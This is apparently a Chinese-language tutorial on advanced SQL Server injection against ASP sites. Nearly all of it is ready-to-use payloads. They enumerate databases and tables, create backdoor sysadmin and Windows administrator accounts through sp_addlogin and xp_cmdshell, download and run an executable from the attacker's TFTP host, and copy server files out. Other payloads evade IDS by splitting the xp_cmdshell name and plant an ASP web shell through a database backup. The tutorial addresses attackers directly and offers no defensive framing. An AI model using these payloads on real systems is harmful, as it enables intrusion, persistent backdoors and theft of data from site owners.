前言:
即是進階技巧,其它基本的注入方法就不詳述了。
看不懂可查本站的注入基礎文章。
為了更好的用好注入,建議大家看看本站的SQL文法相關文章
[擷取全部資料庫名]
select name from master.dbo.sysdatabases where dbid=7 //dbid的值為7以上都是使用者資料庫
[獲得資料表名][將欄位值更新為表名,再想法讀出這個欄位的值就可得到表名]
select top 1 name from 資料庫名.dbo.sysobjects where xtype='u' and status>0 and name not in('table')
[獲得資料表欄位名][將欄位值更新為欄位名,再想法讀出這個欄位的值就可得到欄位名]
select top 1 資料庫名.dbo.col_name(object_id('要查詢的資料表名'),欄位列如:1) [ where 條件]
通過SQLSERVER注入漏洞建資料庫管理員帳號和系統管理員帳號[當前帳號必須是SYSADMIN組]
news.asp?id=2;exec master.dbo.sp_addlogin test,test;-- //添加資料庫使用者使用者test,密碼為test
news.asp?id=2;exec master.dbo.sp_password test,123456,test;-- //如果想改密碼,則用這句(將test的密碼改為123456)
news.asp?id=2;exec master.dbo.sp_addsrvrolemember test,sysadmin;-- //將test加到sysadmin組,這個組的成員可執行任何操作
news.asp?id=2;exec master.dbo.xp_cmdshell 'net user test test /add';-- //添加系統使用者test,密碼為test
news.asp?id=2;exec master.dbo.xp_cmdshell 'net localgroup administrators test /add';-- //將系統使用者test提升為管理員
這樣,你在他的資料庫和系統內都留下了test管理員帳號了
下面是如何從你的服器下載檔案file.exe後運行它[前提是你必須將你的電腦設為TFTP伺服器,將69連接埠開啟]
id=2; exec master.dbo.xp_cmdshell 'tftp –i 你的IP get file.exe';--
然後運行這個檔案:
id=2; exec master.dbo.xp_cmdshell 'file.exe';--
下載伺服器的檔案file2.doc到本地TFTP伺服器[檔案必須存在]:
id=2; exec master.dbo.xp_cmdshell 'tftp –i 你的IP Put file2.doc';--
繞過IDS的檢測[使用變數]
declare @a sysname set @a='xp_'+'cmdshell' exec @a 'dir c:\'
declare @a sysname set @a='xp'+'_cm'+'dshell' exec @a 'dir c:\'
新加的:
建一個表。只有一個欄位,類型為image,將asp內容寫入。匯出資料庫為檔案
backup database dbname to disk='d:\web\db.asp';
報錯得到系統作業系統和資料庫系統版本號碼
id=2 and 1<>(select @@VERSION);